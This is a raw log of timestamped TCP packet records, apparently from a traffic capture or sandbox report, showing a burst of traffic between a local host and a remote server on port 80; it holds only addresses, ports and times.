Dec 27, 2024 09:02:43.751413107 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.751425982 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.751497984 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.751646042 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.751708984 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.751756907 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.752552032 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.752573013 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.752624989 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.753319979 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.753473997 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.753519058 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.779485941 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.787611008 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.896497965 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.896555901 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.896723986 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.896866083 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.897000074 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.897038937 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.897722006 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.897850990 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.897918940 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.898652077 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.898861885 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.898909092 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.899482965 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.899633884 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.899683952 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.900441885 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.900455952 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.900511026 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.901191950 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.901302099 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.901907921 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.902141094 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.902404070 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.902484894 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.902975082 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.903068066 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.903204918 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.903824091 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.903948069 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.903989077 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.904706001 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.904794931 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.904870033 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.905555964 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.905666113 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.905706882 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.906470060 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.906565905 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.906609058 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.907310963 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.907497883 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.907552958 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.908168077 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.908374071 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.908411026 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.909117937 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.909154892 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.909909010 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.909935951 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.910159111 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.910392046 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.910855055 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.910931110 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.911303043 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.911670923 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.911796093 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.911834955 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.912559986 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.912633896 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.913423061 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.913456917 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.913516045 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.913816929 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.914280891 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.914477110 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.914655924 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.915157080 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.915308952 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.915354967 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.916028023 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.916187048 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.916919947 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.916968107 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.916996956 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.917798996 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.917850971 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.917963028 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.917999983 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.918637037 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.918807983 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.918859005 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.919677973 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.919692039 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.919759989 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.920393944 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.920499086 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.920548916 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.921274900 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.921432972 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.921478987 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.922108889 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.922236919 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.922272921 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.923019886 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.923175097 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.923217058 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.923858881 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.924010992 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.924051046 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.924772024 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.924936056 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.924985886 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.925625086 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.925754070 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.925868988 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.926621914 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.926666975 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.927424908 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.927469015 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.927541018 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.928222895 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.928267002 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.928381920 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.928420067 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.929116964 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.929195881 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.929239988 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.929980993 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.930051088 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.930095911 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.930902004 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.930915117 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.930948019 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.931814909 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.931828022 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.931885958 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.932720900 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.932914972 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.933495045 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.933545113 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.933660030 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.934118986 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.934314013 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.934447050 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.935252905 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.935316086 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.935338020 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.936121941 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.936181068 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.936254025 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.936935902 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.936949015 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.937026024 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.937856913 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.937911987 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.937967062 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.938729048 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.938774109 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.938786030 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.938813925 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.952894926 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.952909946 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.952956915 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.953182936 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.953279972 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.953933001 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:43.954072952 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.954118967 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.954982996 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:43.955041885 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.097708941 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.097759008 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.097902060 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.098042011 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.098090887 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.098217010 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.098939896 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.099117041 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.099178076 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.099932909 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.100059032 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.100665092 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.100714922 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.100754023 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.101509094 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.101557016 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.101648092 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.101686954 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.102412939 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.102531910 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.102577925 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.103276968 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.103360891 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.103414059 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.104166031 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.104178905 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.104243040 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.105043888 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.105137110 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.105195045 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.105902910 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.106003046 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.106759071 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.106816053 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.106854916 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.107639074 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.107695103 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.107839108 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.107902050 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.108571053 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.108663082 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.108714104 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.109451056 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.109463930 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.109514952 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.110214949 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.110327959 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.110402107 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.111104965 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.111217022 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.111989021 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.112035036 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.112121105 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.112868071 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.112915993 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.112943888 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.112987041 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.113735914 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.113869905 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.113917112 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.114618063 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.114769936 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.114818096 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.115472078 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.115593910 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.115673065 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.116343021 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.116440058 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.117297888 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.117310047 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.117340088 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.117363930 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.118184090 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.118196011 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.118232965 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.119052887 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.119088888 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.119127989 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.119862080 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.120240927 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.120285034 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.120682955 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.121104002 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.121701956 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.121715069 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.121743917 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.121766090 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.122560978 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.122575045 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.122621059 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.123356104 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.123426914 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.123476028 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.124259949 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.124273062 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.124315023 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.125088930 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.125137091 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.125808001 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.125911951 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.126002073 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.126053095 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.126817942 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.126925945 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.127681971 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.127742052 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.127763987 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.128592968 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.128648043 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.128650904 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.128686905 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.129436970 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.129561901 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.129612923 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.130278111 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.130393982 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.130445957 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.131505013 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.131752014 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.131804943 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.131984949 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.132124901 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.132970095 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.132982969 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.133022070 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.133050919 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.133786917 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.133940935 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.133985996 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.134623051 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.134769917 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.134835005 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.135515928 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.135579109 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.136473894 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.136487961 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.136538982 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.137379885 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.137392998 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.137443066 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.138184071 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.138196945 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.138238907 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.139095068 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.139108896 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.139172077 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.139870882 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.140098095 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.140146017 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.154033899 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.154062986 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.154124022 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.154236078 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.154407024 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.155101061 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.155157089 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.155217886 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.155946970 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.155996084 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.156023979 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.157888889 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.298871994 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.298901081 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.298970938 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:44.299209118 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:44.299359083 CET	80	49768	185.215.113.16	192.168.2.11
